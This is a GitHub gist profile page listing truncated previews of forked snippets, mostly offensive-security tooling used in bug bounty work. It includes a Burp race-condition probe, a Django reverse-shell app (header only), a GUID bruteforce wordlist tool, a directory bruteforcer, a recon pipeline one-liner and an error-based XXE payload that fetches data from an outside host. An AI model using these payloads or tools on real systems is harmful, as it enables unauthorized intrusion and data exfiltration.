Skip to content

Instantly share code, notes, and snippets.

View srand2's full-sized avatar
🕸️
Working from home

srand2

🕸️
Working from home
View GitHub Profile
@srand2
srand2 / claude_codex_usage_windows.md
Created January 7, 2026 06:55 — forked from ben-vargas/claude_codex_usage_windows.md
Consistent Usage Windows for Claude Code and Codex CLI

Running AI CLI Tools with Cron for 5-Hour Usage Windows

The Challenge

Anthropic and OpenAI enforce a 5-hour usage window - once I make my first request, I have 5 hours fixed usage before the window expires. This meant:

  • ❌ Unpredictable availability - window could expire mid-project or at random times during the work day
  • ❌ Frustration when usage windows expire at unopportune times
  • ❌ Consistent work schedule and usage window planning
@srand2
srand2 / ai-cli-cron.sh
Created January 7, 2026 06:54 — forked from ben-vargas/ai-cli-cron.sh
Script for CLI harness cron windows.
#!/bin/bash
# AI CLI tools wrapper for scheduled activation of usage windows
# Outputs JSON for machine-readable logs with human-friendly summaries
# ============================================================================
# CONFIGURATION - Update these values for your environment
# ============================================================================
# System paths
USER_HOME="/home/code"
@srand2
srand2 / race-condition-probe.java
Created October 5, 2025 14:47 — forked from albinowax/race-condition-probe.java
Race condition custom action for Burp Repeater
// This will use the single-packet attack for HTTP/2, and last-byte synchronisation for HTTP/1
int NUMBER_OF_REQUESTS = 10;
var reqs = new ArrayList<HttpRequest>();
for (int i = 0; i < NUMBER_OF_REQUESTS; i++) {
reqs.add(requestResponse.request());
}
var responses = api().http().sendRequests(reqs);
var codes = responses.stream().map(HttpRequestResponse::response).filter(Objects::nonNull).map(HttpResponse::statusCode).toList();
logging().logToOutput(codes);
@srand2
srand2 / django-rev-shell.py
Created September 29, 2025 20:08 — forked from riyazwalikar/django-rev-shell.py
Simple django app that returns a reverse shell when an IP is passed to it.
from distutils.log import error
import sys, socket,os,pty
from django.conf import settings
from django.urls import include, re_path
from django.http import HttpResponse
settings.configure(
DEBUG=True,
ROOT_URLCONF=__name__
)
@srand2
srand2 / guid_reaper.py
Created January 31, 2024 18:15 — forked from DanaEpp/guid_reaper.py
Tool to dump v1 GUIDs and generate a wordlist of GUIDs for use in bruteforce attacks against APIs with predictable GUIDs
#!/bin/env python3
import argparse
import datetime
import re
import sys
import uuid
###############################################################################
# Based off of Daniel Thatcher's guid tool
#pip install ecdsa
#
import base64
import hashlib
from hashlib import sha256
import hmac
from ecdsa.ecdsa import Signature, generator_256
from ecdsa import VerifyingKey, NIST256p
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
curl https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json |jq -r '.vulnerabilities[].cveID' > cves.txt
subfinder -d tesla.com -silent |dnsx -silent -a -resp-only |sort -u |xargs -n1 -P 1500 -I% curl -s http://networktools.nl/whois/$url% |grep "CIDR" |cut -d : -f2 |tr , "\n"| awk '{$1=$1};1' |sort -u |egrep -v "/8|/9|/10|/11|/12|/13|/14|/15|/16" |while read ip ;do whois -h whois.cymru.com " -v $ip" ;done |grep -v "BGP Prefix" |cut -d '|' -f3 |awk '{$1=$1};1' |sort -u |cidr2ip |sort -u |nrich - |grep -B4 -f cves.txt | tee shodan.txt; slackcat --channel bugbounty --filename shodan.txt
@srand2
srand2 / aodirb.py
Created July 5, 2023 18:11 — forked from nullenc0de/aodirb.py
pip3 install asyncio and pip3 install import aiohttp
import asyncio
import aiohttp
import time
import sys
import argparse
import os
parser = argparse.ArgumentParser(description='Directory Bruteforce')
parser.add_argument('-u', '--url', help='URL to bruteforce', required=True)
parser.add_argument('-w', '--wordlist', help='Wordlist to use', required=True)